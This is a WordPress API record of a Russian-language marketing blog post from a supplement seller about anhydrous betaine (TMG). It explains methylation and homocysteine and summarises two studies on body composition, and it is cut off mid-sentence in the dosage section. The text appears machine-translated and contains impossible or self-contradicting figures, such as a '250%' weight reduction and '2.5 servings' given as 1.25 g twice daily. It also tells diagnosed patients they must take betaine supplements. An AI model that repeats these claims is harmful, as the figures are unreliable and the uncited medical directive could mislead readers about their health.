{"id":4678,"date":"2024-01-17T17:04:24","date_gmt":"2024-01-17T09:04:24","guid":{"rendered":"https:\/\/www.backvita.com\/?p=4678"},"modified":"2024-04-12T23:59:02","modified_gmt":"2024-04-12T15:59:02","slug":"the-role-and-effect-of-anhydrous-betaine-in-sports-supplements","status":"publish","type":"post","link":"https:\/\/www.backvita.com\/ru\/\u0440\u043e\u043b\u044c-\u0438-\u0432\u043b\u0438\u044f\u043d\u0438\u0435-\u0431\u0435\u0437\u0432\u043e\u0434\u043d\u043e\u0433\u043e-\u0431\u0435\u0442\u0430\u0438\u043d\u0430-\u0432-\u0441\u043f\/","title":{"rendered":"\u0420\u043e\u043b\u044c \u0438 \u0432\u043b\u0438\u044f\u043d\u0438\u0435 \u0431\u0435\u0437\u0432\u043e\u0434\u043d\u043e\u0433\u043e \u0431\u0435\u0442\u0430\u0438\u043d\u0430 \u0432 \u0441\u043f\u043e\u0440\u0442\u0438\u0432\u043d\u044b\u0445 \u0434\u043e\u0431\u0430\u0432\u043a\u0430\u0445"},"content":{"rendered":"<h2 class=\"wp-block-heading\">\u0427\u0442\u043e \u0442\u0430\u043a\u043e\u0435 \u0431\u0435\u0437\u0432\u043e\u0434\u043d\u044b\u0439 \u0431\u0435\u0442\u0430\u0438\u043d \u0447\u0442\u043e \u0442\u0430\u043a\u043e\u0435 \u0431\u0435\u0442\u0430\u0438\u043d \u0431\u0435\u0437\u0432\u043e\u0434\u043d\u044b\u0439<\/h2>\n\n\n\n<p>\u0411\u0435\u0437\u0432\u043e\u0434\u043d\u044b\u0439 \u0431\u0435\u0442\u0430\u0438\u043d - \u044d\u0442\u043e \u0441\u043e\u0435\u0434\u0438\u043d\u0435\u043d\u0438\u0435 \u043f\u0440\u0438\u0440\u043e\u0434\u043d\u043e\u0433\u043e \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0436\u0434\u0435\u043d\u0438\u044f, \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0449\u0435\u0435\u0441\u044f \u0432 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u043c\u0435. \u0411\u0435\u0442\u0430\u0438\u043d \u0442\u0430\u043a\u0436\u0435 \u0438\u0437\u0432\u0435\u0441\u0442\u0435\u043d \u043f\u043e\u0434 \u0441\u043e\u043a\u0440\u0430\u0449\u0435\u043d\u043d\u044b\u043c \u043d\u0430\u0437\u0432\u0430\u043d\u0438\u0435\u043c \u0442\u0440\u0438\u043c\u0435\u0442\u0438\u043b\u0433\u043b\u0438\u0446\u0438\u043d \u0438\u043b\u0438 TMG. \u0421\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u043d\u043e \u0431\u0435\u0442\u0430\u0438\u043d \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u0441\u043e\u0431\u043e\u0439 \u043d\u0435\u0431\u043e\u043b\u044c\u0448\u0443\u044e \u0442\u0440\u0438\u043c\u0435\u0442\u0438\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u0443\u044e \u0430\u043c\u0438\u043d\u043e\u043a\u0438\u0441\u043b\u043e\u0442\u0443, \u0430\u043c\u0438\u043d\u043e\u043a\u0438\u0441\u043b\u043e\u0442\u043d\u044b\u0439 \u044d\u043b\u0435\u043c\u0435\u043d\u0442 - \u0433\u043b\u0438\u0446\u0438\u043d, \u043e\u0442\u0441\u044e\u0434\u0430 \u0438 \u043d\u0430\u0437\u0432\u0430\u043d\u0438\u0435 \u0442\u0440\u0438\u043c\u0435\u0442\u0438\u043b\u0433\u043b\u0438\u0446\u0438\u043d. \u041a\u0430\u043a \u0443\u0436\u0435 \u0443\u043f\u043e\u043c\u0438\u043d\u0430\u043b\u043e\u0441\u044c, \u043e\u043d \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u0442\u0441\u044f \u0432 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u043c\u0435, \u043d\u043e \u0442\u0430\u043a\u0436\u0435 \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u043d\u0430\u0439\u0434\u0435\u043d \u0432 \u0441\u0430\u0445\u0430\u0440\u043d\u043e\u0439 \u0441\u0432\u0435\u043a\u043b\u0435, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0438 \u0434\u0430\u043b\u0430 \u0431\u0435\u0442\u0430\u0438\u043d\u0443 \u0435\u0433\u043e \u043d\u0430\u0437\u0432\u0430\u043d\u0438\u0435.<\/p>\n\n\n\n<p>\u0427\u0442\u043e\u0431\u044b \u0432\u043d\u0435\u0441\u0442\u0438 \u044f\u0441\u043d\u043e\u0441\u0442\u044c \u0432 \u043d\u0430\u0437\u0432\u0430\u043d\u0438\u0435 \u044d\u0442\u043e\u0433\u043e \u0438\u043d\u0433\u0440\u0435\u0434\u0438\u0435\u043d\u0442\u0430: \u0431\u0435\u0437\u0432\u043e\u0434\u043d\u044b\u0439 \u0431\u0435\u0442\u0430\u0438\u043d, \u0442\u0440\u0438\u043c\u0435\u0442\u0438\u043b\u0433\u043b\u0438\u0446\u0438\u043d \u0438 TMG - \u044d\u0442\u043e \u0438\u0434\u0435\u043d\u0442\u0438\u0447\u043d\u044b\u0435 \u0438\u043d\u0433\u0440\u0435\u0434\u0438\u0435\u043d\u0442\u044b. \u041d\u0435\u0432\u0430\u0436\u043d\u043e, \u043a\u0430\u043a\u043e\u0435 \u043d\u0430\u0437\u0432\u0430\u043d\u0438\u0435 \u043e\u043d\u0438 \u0432\u044b\u0431\u0435\u0440\u0443\u0442 \u043d\u0430 \u043f\u0430\u043d\u0435\u043b\u0438 \u043f\u0438\u0442\u0430\u043d\u0438\u044f, \u0432\u044b \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u0435 \u0442\u0435 \u0436\u0435 \u0438\u043d\u0433\u0440\u0435\u0434\u0438\u0435\u043d\u0442\u044b. \u0418\u043d\u043e\u0433\u0434\u0430 \u0432\u044b \u043c\u043e\u0436\u0435\u0442\u0435 \u0443\u0432\u0438\u0434\u0435\u0442\u044c, \u043a\u0430\u043a \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u043f\u0440\u043e\u0434\u0443\u043a\u0442 ? \u0411\u0435\u0442\u0430\u0438\u043d \u043d\u0438\u0442\u0440\u0430\u0442?? \u0411\u0435\u0437\u0432\u043e\u0434\u043d\u044b\u0439 \u0431\u0435\u0442\u0430\u0438\u043d \u0432 \u0441\u043e\u0447\u0435\u0442\u0430\u043d\u0438\u0438 \u0441 \u043d\u0438\u0442\u0440\u0430\u0442\u0430\u043c\u0438 \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0438\u0432\u0430\u0435\u0442 \u0434\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u043f\u0440\u0435\u0438\u043c\u0443\u0449\u0435\u0441\u0442\u0432\u0430.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">\u0427\u0442\u043e \u0434\u0435\u043b\u0430\u0435\u0442 \u0431\u0435\u0442\u0430\u0438\u043d \u0431\u0435\u0437\u0432\u043e\u0434\u043d\u044b\u0439? \u0427\u0442\u043e \u0434\u0435\u043b\u0430\u0435\u0442 \u0431\u0435\u0442\u0430\u0438\u043d \u0431\u0435\u0437\u0432\u043e\u0434\u043d\u044b\u0439<\/h2>\n\n\n\n<p>\u0411\u0435\u0442\u0430\u0438\u043d \u0438\u0433\u0440\u0430\u0435\u0442 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0440\u043e\u043b\u0435\u0439 \u0432 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u043c\u0435, \u043d\u043e \u043d\u0430\u0438\u0431\u043e\u043b\u0435\u0435 \u0438\u0437\u0432\u0435\u0441\u0442\u0435\u043d \u0432 \u0438\u043d\u0434\u0443\u0441\u0442\u0440\u0438\u0438 \u0441\u043f\u043e\u0440\u0442\u0438\u0432\u043d\u044b\u0445 \u0434\u043e\u0431\u0430\u0432\u043e\u043a \u0431\u043b\u0430\u0433\u043e\u0434\u0430\u0440\u044f \u0441\u0432\u043e\u0438\u043c \u043f\u0440\u0435\u0438\u043c\u0443\u0449\u0435\u0441\u0442\u0432\u0430\u043c, \u0441\u0445\u043e\u0436\u0438\u043c \u0441 \u043a\u0440\u0435\u0430\u0442\u0438\u043d\u043e\u043c. \u041d\u0435 \u043e\u0431\u0440\u0430\u0449\u0430\u0439\u0442\u0435\u0441\u044c \u043a \u043d\u0430\u0443\u043a\u0435: \u043a\u0430\u043a \u0438 \u043a\u0440\u0435\u0430\u0442\u0438\u043d, \u0431\u0435\u0442\u0430\u0438\u043d \u0434\u0435\u0439\u0441\u0442\u0432\u0443\u0435\u0442 \u0432 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u043c\u0435 \u043a\u0430\u043a \u043f\u0435\u043d\u0435\u0442\u0440\u0430\u043d\u0442. \u041f\u0435\u043d\u0435\u0442\u0440\u0430\u043d\u0442\u044b - \u044d\u0442\u043e \u043c\u043e\u043b\u0435\u043a\u0443\u043b\u044b, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043f\u0435\u0440\u0435\u043c\u0435\u0449\u0430\u044e\u0442\u0441\u044f \u0432\u043d\u0443\u0442\u0440\u044c \u0438 \u043d\u0430\u0440\u0443\u0436\u0443 \u043a\u043b\u0435\u0442\u043e\u043a \u0434\u043b\u044f \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u0430\u043d\u0438\u044f \u0438\u0445 \u043e\u0431\u044a\u0435\u043c\u0430 \u0438 \u0431\u0430\u043b\u0430\u043d\u0441\u0430 \u0436\u0438\u0434\u043a\u043e\u0441\u0442\u0438. \u041a\u043b\u0435\u0442\u043a\u0438, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0445\u043e\u0440\u043e\u0448\u043e \u0443\u0432\u043b\u0430\u0436\u043d\u0435\u043d\u044b, \u0431\u043e\u043b\u0435\u0435 \u0443\u0441\u0442\u043e\u0439\u0447\u0438\u0432\u044b \u043a \u0441\u0442\u0440\u0435\u0441\u0441\u043e\u0432\u044b\u043c \u0444\u0430\u043a\u0442\u043e\u0440\u0430\u043c, \u0442\u0430\u043a\u0438\u043c \u043a\u0430\u043a \u0442\u0440\u0435\u043d\u0438\u0440\u043e\u0432\u043a\u0438.<\/p>\n\n\n\n<p>\u0411\u0435\u0442\u0430\u0438\u043d \u0438\u0433\u0440\u0430\u0435\u0442 \u0432\u0430\u0436\u043d\u0435\u0439\u0448\u0443\u044e \u0440\u043e\u043b\u044c \u0432 \u043c\u0435\u0442\u0438\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0438 \u0432 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u043c\u0435. \u042d\u0442\u043e \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0434\u0438\u0442 \u043f\u043e \u0434\u0432\u0443\u043c \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u044b\u043c \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c\u0430\u043c: \u043b\u0438\u0431\u043e \u043a\u0430\u043a \u0434\u043e\u043d\u043e\u0440 \u043c\u0435\u0442\u0438\u043b\u0430, \u0432\u043e\u0441\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u044e\u0449\u0438\u0439 \u0433\u043e\u043c\u043e\u0446\u0438\u0441\u0442\u0435\u0438\u043d \u0434\u043e \u0430\u043c\u0438\u043d\u043e\u043a\u0438\u0441\u043b\u043e\u0442\u044b L-\u043c\u0435\u0442\u0438\u043e\u043d\u0438\u043d\u0430, \u043b\u0438\u0431\u043e \u043f\u0443\u0442\u0435\u043c \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u044f \u0443\u0440\u043e\u0432\u043d\u044f \u0430\u043a\u0442\u0438\u0432\u043d\u044b\u0445 \u043c\u043e\u043b\u0435\u043a\u0443\u043b \u0444\u043e\u043b\u0430\u0442\u0430, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0437\u0430\u0442\u0435\u043c \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0438\u0432\u0430\u044e\u0442 \u043c\u0435\u0442\u0438\u043b\u044c\u043d\u044b\u0435 \u0433\u0440\u0443\u043f\u043f\u044b \u0438 \u0441\u043d\u0438\u0436\u0430\u044e\u0442 \u0443\u0440\u043e\u0432\u0435\u043d\u044c \u0433\u043e\u043c\u043e\u0446\u0438\u0441\u0442\u0435\u0438\u043d\u0430 \u0447\u0435\u0440\u0435\u0437 \u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u043c\u0435\u0442\u0438\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f.<\/p>\n\n\n\n<p>\u041f\u043e\u0447\u0435\u043c\u0443 \u0436\u0435 \u0442\u0430\u043a \u0432\u0430\u0436\u043d\u043e \u0443\u043b\u0443\u0447\u0448\u0435\u043d\u043d\u043e\u0435 \u043c\u0435\u0442\u0438\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435? \u0412\u0441\u0435 \u0434\u0435\u043b\u043e \u0432 \u0430\u043c\u0438\u043d\u043e\u043a\u0438\u0441\u043b\u043e\u0442\u0435 \u043f\u043e\u0434 \u043d\u0430\u0437\u0432\u0430\u043d\u0438\u0435\u043c \u0433\u043e\u043c\u043e\u0446\u0438\u0441\u0442\u0435\u0438\u043d. \u0413\u043e\u043c\u043e\u0446\u0438\u0441\u0442\u0435\u0438\u043d - \u044d\u0442\u043e \u0430\u043c\u0438\u043d\u043e\u043a\u0438\u0441\u043b\u043e\u0442\u0430, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043e\u0431\u0440\u0430\u0437\u0443\u0435\u0442\u0441\u044f \u0432 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u043c\u0435 \u043f\u0440\u0438 \u0440\u0430\u0441\u0449\u0435\u043f\u043b\u0435\u043d\u0438\u0438 \u0431\u0435\u043b\u043a\u043e\u0432 \u0432 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0435 \u043c\u0435\u0442\u0438\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f. \u0412\u044b\u0441\u043e\u043a\u0438\u0439 \u0443\u0440\u043e\u0432\u0435\u043d\u044c \u0433\u043e\u043c\u043e\u0446\u0438\u0441\u0442\u0435\u0438\u043d\u0430 \u0432\u0441\u0435 \u0447\u0430\u0449\u0435 \u043f\u0440\u0438\u0437\u043d\u0430\u0435\u0442\u0441\u044f \u0432\u0430\u0436\u043d\u044b\u043c \u0444\u0430\u043a\u0442\u043e\u0440\u043e\u043c \u0440\u0438\u0441\u043a\u0430 \u0440\u0430\u0437\u0432\u0438\u0442\u0438\u044f \u0437\u0430\u0431\u043e\u043b\u0435\u0432\u0430\u043d\u0438\u0439 \u0438 \u0440\u0430\u0441\u0441\u043c\u0430\u0442\u0440\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u043a\u0430\u043a \u0438\u043d\u0434\u0438\u043a\u0430\u0442\u043e\u0440 \u043e\u0441\u043d\u043e\u0432\u043d\u044b\u0445 \u043f\u0440\u043e\u0431\u043b\u0435\u043c \u0441\u043e \u0437\u0434\u043e\u0440\u043e\u0432\u044c\u0435\u043c, \u0442\u0430\u043a\u0438\u0445 \u043a\u0430\u043a \u0441\u0435\u0440\u0434\u0435\u0447\u043d\u043e-\u0441\u043e\u0441\u0443\u0434\u0438\u0441\u0442\u044b\u0435 \u0437\u0430\u0431\u043e\u043b\u0435\u0432\u0430\u043d\u0438\u044f \u0438 \u0431\u043e\u043b\u0435\u0437\u043d\u044c \u0410\u043b\u044c\u0446\u0433\u0435\u0439\u043c\u0435\u0440\u0430.<\/p>\n\n\n\n<p>\u041f\u0430\u0446\u0438\u0435\u043d\u0442\u0430\u043c, \u0443 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0434\u0438\u0430\u0433\u043d\u043e\u0441\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u044b \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u044b \u0441 \u043c\u0435\u0442\u0438\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u0438\u043b\u0438 \u0432\u044b\u0441\u043e\u043a\u0438\u0439 \u0443\u0440\u043e\u0432\u0435\u043d\u044c \u0433\u043e\u043c\u043e\u0446\u0438\u0441\u0442\u0435\u0438\u043d\u0430, \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e \u043f\u0440\u0438\u043d\u0438\u043c\u0430\u0442\u044c \u0434\u043e\u0431\u0430\u0432\u043a\u0438 \u0441 \u0431\u0435\u0442\u0430\u0438\u043d\u043e\u043c, \u043f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 \u043e\u043d \u043c\u043e\u0436\u0435\u0442 \u043d\u0430\u043f\u0440\u044f\u043c\u0443\u044e \u0441\u043d\u0438\u0436\u0430\u0442\u044c \u0443\u0440\u043e\u0432\u0435\u043d\u044c \u0433\u043e\u043c\u043e\u0446\u0438\u0441\u0442\u0435\u0438\u043d\u0430 \u0447\u0435\u0440\u0435\u0437 \u043c\u0435\u0442\u0438\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435.<\/p>\n\n\n\n<p>\u0421 \u0442\u043e\u0447\u043a\u0438 \u0437\u0440\u0435\u043d\u0438\u044f \u044d\u0444\u0444\u0435\u043a\u0442\u0438\u0432\u043d\u043e\u0441\u0442\u0438, \u0431\u0435\u0442\u0430\u0438\u043d\u043e\u0432\u044b\u0435 \u0434\u043e\u0431\u0430\u0432\u043a\u0438 \u043f\u043e\u043b\u043e\u0436\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u0432\u043b\u0438\u044f\u044e\u0442 \u043d\u0430 \u043c\u044b\u0448\u0435\u0447\u043d\u0443\u044e \u0441\u0438\u043b\u0443, \u043c\u044b\u0448\u0435\u0447\u043d\u0443\u044e \u0432\u044b\u043d\u043e\u0441\u043b\u0438\u0432\u043e\u0441\u0442\u044c \u0438 \u0441\u043e\u0441\u0442\u0430\u0432 \u0442\u0435\u043b\u0430. \u0411\u044b\u043b\u043e \u043f\u0440\u043e\u0432\u0435\u0434\u0435\u043d\u043e \u0434\u0430\u0436\u0435 \u0434\u0432\u0430 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f, \u0432 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0438\u0437\u0443\u0447\u0430\u043b\u0438\u0441\u044c \u0438\u043c\u0435\u043d\u043d\u043e \u044d\u0442\u0438 \u044d\u0444\u0444\u0435\u043a\u0442\u044b: \u043e\u0434\u043d\u043e \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u0435 \u0443 \u043c\u0443\u0436\u0447\u0438\u043d \u0438 \u043e\u0434\u043d\u043e \u0443 \u0436\u0435\u043d\u0449\u0438\u043d. \u041a\u0440\u043e\u043c\u0435 \u0442\u043e\u0433\u043e, \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442 \u043c\u043d\u043e\u0436\u0435\u0441\u0442\u0432\u043e \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u0439, \u043f\u043e\u0441\u0432\u044f\u0449\u0435\u043d\u043d\u044b\u0445 \u0434\u043e\u0431\u0430\u0432\u043a\u0430\u043c \u0441 \u0431\u0435\u0442\u0430\u0438\u043d\u043e\u043c, \u043a\u043e\u0442\u043e\u0440\u044b\u0435, \u043a\u0430\u043a \u0431\u044b\u043b\u043e \u043f\u043e\u043a\u0430\u0437\u0430\u043d\u043e, \u0443\u043b\u0443\u0447\u0448\u0430\u044e\u0442 \u0441\u0438\u043b\u043e\u0432\u044b\u0435 \u043f\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u0438, \u0441\u0438\u043b\u0443 \u0438 \u043c\u044b\u0448\u0435\u0447\u043d\u0443\u044e \u0432\u044b\u043d\u043e\u0441\u043b\u0438\u0432\u043e\u0441\u0442\u044c.<\/p>\n\n\n\n<p>\u0412 \u0445\u043e\u0434\u0435 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f \u0436\u0435\u043d\u0449\u0438\u043d\u044b \u043f\u043e\u043b\u0443\u0447\u0430\u043b\u0438 2,5 \u0433\u0440\u0430\u043c\u043c\u0430 \u0431\u0435\u0437\u0432\u043e\u0434\u043d\u043e\u0433\u043e \u0431\u0435\u0442\u0430\u0438\u043d\u0430 \u0432 \u0434\u0435\u043d\u044c \u0438\u043b\u0438 \u043f\u043b\u0430\u0446\u0435\u0431\u043e, \u0438 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u044b \u0431\u044b\u043b\u0438 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u043c\u0438:<\/p>\n\n\n\n<p>- \u041f\u0440\u0438\u0435\u043c \u0431\u0435\u0442\u0430\u0438\u043d\u0430 \u043f\u0440\u0438\u0432\u0435\u043b \u043a \u0441\u043d\u0438\u0436\u0435\u043d\u0438\u044e \u0432\u0435\u0441\u0430 \u043d\u0430 250%<\/p>\n\n\n\n<p>- \u0414\u043e\u0431\u0430\u0432\u043a\u0430 \u0441 \u0431\u0435\u0442\u0430\u0438\u043d\u043e\u043c \u043c\u043e\u0436\u0435\u0442 \u0443\u043c\u0435\u043d\u044c\u0448\u0438\u0442\u044c \u043a\u043e\u043b\u0438\u0447\u0435\u0441\u0442\u0432\u043e \u0436\u0438\u0440\u0430 \u0432 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u043c\u0435 \u0431\u043e\u043b\u0435\u0435 \u0447\u0435\u043c \u043d\u0430 50%<\/p>\n\n\n\n<p>\u0412 \u0445\u043e\u0434\u0435 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f \u043c\u0443\u0436\u0447\u0438\u043d\u044b \u043f\u043e\u043b\u0443\u0447\u0430\u043b\u0438 2,5 \u043f\u043e\u0440\u0446\u0438\u0438 \u0431\u0435\u0437\u0432\u043e\u0434\u043d\u043e\u0433\u043e \u0431\u0435\u0442\u0430\u0438\u043d\u0430 (1,25 \u0433\u0440\u0430\u043c\u043c\u0430 \u0434\u0432\u0430\u0436\u0434\u044b \u0432 \u0434\u0435\u043d\u044c) \u0438\u043b\u0438 \u043f\u043b\u0430\u0446\u0435\u0431\u043e \u0432 \u0442\u0435\u0447\u0435\u043d\u0438\u0435 \u0432\u0441\u0435\u0433\u043e 6 \u043d\u0435\u0434\u0435\u043b\u044c, \u0438 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u044b \u0434\u043b\u044f \u0433\u0440\u0443\u043f\u043f\u044b \u0431\u0435\u0442\u0430\u0438\u043d\u0430 \u0431\u044b\u043b\u0438 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u043c\u0438:<\/p>\n\n\n\n<p>- \u0423\u043c\u0435\u043d\u044c\u0448\u0435\u043d\u0438\u0435 \u043a\u043e\u043b\u0438\u0447\u0435\u0441\u0442\u0432\u0430 \u0436\u0438\u0440\u0430 \u0432 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u043c\u0435 \u043d\u0430 3,2% \u043f\u043e \u0441\u0440\u0430\u0432\u043d\u0435\u043d\u0438\u044e \u0441 \u0443\u0432\u0435\u043b\u0438\u0447\u0435\u043d\u0438\u0435\u043c \u043d\u0430 0,2% \u0432 \u0433\u0440\u0443\u043f\u043f\u0435 \u043f\u043b\u0430\u0446\u0435\u0431\u043e.<\/p>\n\n\n\n<p>- \u041c\u0430\u0441\u0441\u0430 \u0442\u0435\u043b\u0430 \u0443\u0432\u0435\u043b\u0438\u0447\u0438\u043b\u0430\u0441\u044c \u043d\u0430 2,4 \u043a\u0433 \u043f\u043e \u0441\u0440\u0430\u0432\u043d\u0435\u043d\u0438\u044e \u0441 0,3 \u043a\u0433 \u0432 \u0433\u0440\u0443\u043f\u043f\u0435 \u043f\u043b\u0430\u0446\u0435\u0431\u043e.<\/p>\n\n\n\n<p>- \u0416\u0438\u0440\u043e\u0432\u0430\u044f \u043c\u0430\u0441\u0441\u0430 \u0443\u043c\u0435\u043d\u044c\u0448\u0438\u043b\u0430\u0441\u044c \u043d\u0430 2,9 \u043a\u0433, \u0432 \u0442\u043e \u0432\u0440\u0435\u043c\u044f \u043a\u0430\u043a \u0433\u0440\u0443\u043f\u043f\u0430 \u043f\u043b\u0430\u0446\u0435\u0431\u043e \u043d\u0430\u0431\u0440\u0430\u043b\u0430 0,3 \u043a\u0433.<\/p>\n\n\n\n<p>- \u0423\u0432\u0435\u043b\u0438\u0447\u0435\u043d\u0438\u0435 \u0440\u0430\u0437\u043c\u0435\u0440\u0430 \u0440\u0443\u043a\u0438 (\u043f\u043e\u043f\u0435\u0440\u0435\u0447\u043d\u043e\u0435 \u0438\u0437\u043c\u0435\u0440\u0435\u043d\u0438\u0435) \u043f\u043e \u0441\u0440\u0430\u0432\u043d\u0435\u043d\u0438\u044e \u0441 \u0433\u0440\u0443\u043f\u043f\u043e\u0439 \u043f\u043b\u0430\u0446\u0435\u0431\u043e<\/p>\n\n\n\n<p>- \u0411\u043e\u043b\u0435\u0435 \u0432\u044b\u0441\u043e\u043a\u0438\u0439 \u043e\u0431\u044a\u0435\u043c \u0442\u0440\u0435\u043d\u0438\u0440\u043e\u0432\u043e\u043a \u043f\u043e \u0441\u0440\u0430\u0432\u043d\u0435\u043d\u0438\u044e \u0441 \u0433\u0440\u0443\u043f\u043f\u043e\u0439 \u043f\u043b\u0430\u0446\u0435\u0431\u043e<\/p>\n\n\n\n<p>\u0422\u043e\u0447\u043d\u044b\u0439 \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c \u044d\u0442\u0438\u0445 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u0439 \u0432 \u0441\u043e\u0441\u0442\u0430\u0432\u0435 \u0442\u0435\u043b\u0430 \u0438 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0441\u0442\u0438 \u043d\u0435 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d. \u041e\u0434\u043d\u0438 \u0441\u0447\u0438\u0442\u0430\u044e\u0442, \u0447\u0442\u043e \u044d\u0442\u043e \u043f\u0440\u043e\u043d\u0438\u043a\u0430\u044e\u0449\u0435\u0435 \u0441\u0432\u043e\u0439\u0441\u0442\u0432\u043e \u0431\u0435\u0442\u0430\u0438\u043d\u0430, \u0434\u0440\u0443\u0433\u0438\u0435 - \u0447\u0442\u043e \u044d\u0442\u043e \u0443\u0432\u0435\u043b\u0438\u0447\u0435\u043d\u0438\u0435 \u0441\u043f\u043e\u0441\u043e\u0431\u043d\u043e\u0441\u0442\u0438 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u043c\u0430 \u043a \u043c\u0435\u0442\u0438\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044e. \u041b\u0438\u0447\u043d\u043e \u043c\u044b \u0441\u0447\u0438\u0442\u0430\u0435\u043c, \u0447\u0442\u043e \u044d\u0442\u043e \u0441\u043c\u0435\u0441\u044c \u0434\u0432\u0443\u0445 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u043e\u0432, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0440\u0430\u0431\u043e\u0442\u0430\u044e\u0442 \u0432\u043c\u0435\u0441\u0442\u0435, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044f \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u043c\u0443 \u0444\u0443\u043d\u043a\u0446\u0438\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u043d\u0430 \u0431\u043e\u043b\u0435\u0435 \u0432\u044b\u0441\u043e\u043a\u043e\u043c \u0443\u0440\u043e\u0432\u043d\u0435, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0443\u043b\u0443\u0447\u0448\u0430\u044f \u0432\u0441\u0435 \u0430\u0441\u043f\u0435\u043a\u0442\u044b \u0442\u0440\u0435\u043d\u0438\u0440\u043e\u0432\u043e\u043a, \u0432\u043e\u0441\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0438 \u0432\u0430\u0436\u043d\u044b\u0445 \u0444\u0438\u0437\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">\u0412 \u043a\u0430\u043a\u0438\u0445 \u043a\u043e\u043b\u0438\u0447\u0435\u0441\u0442\u0432\u0430\u0445 \u0441\u043b\u0435\u0434\u0443\u0435\u0442 \u043f\u0440\u0438\u043d\u0438\u043c\u0430\u0442\u044c \u0431\u0435\u0442\u0430\u0438\u043d \u0431\u0435\u0437\u0432\u043e\u0434\u043d\u044b\u0439?<\/h2>\n\n\n\n<p>\u041f\u043e \u043a\u0440\u0430\u0439\u043d\u0435\u0439 \u043c\u0435\u0440\u0435, 2,5 \u0433\u0440\u0430\u043c\u043c\u0430 \u0432 \u0434\u0435\u043d\u044c \u0443\u0436\u0435 \u043c\u043e\u0433\u0443\u0442 \u0434\u0430\u0442\u044c \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u044b \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u0439 \u0432 \u0441\u043e\u0441\u0442\u0430\u0432\u0435 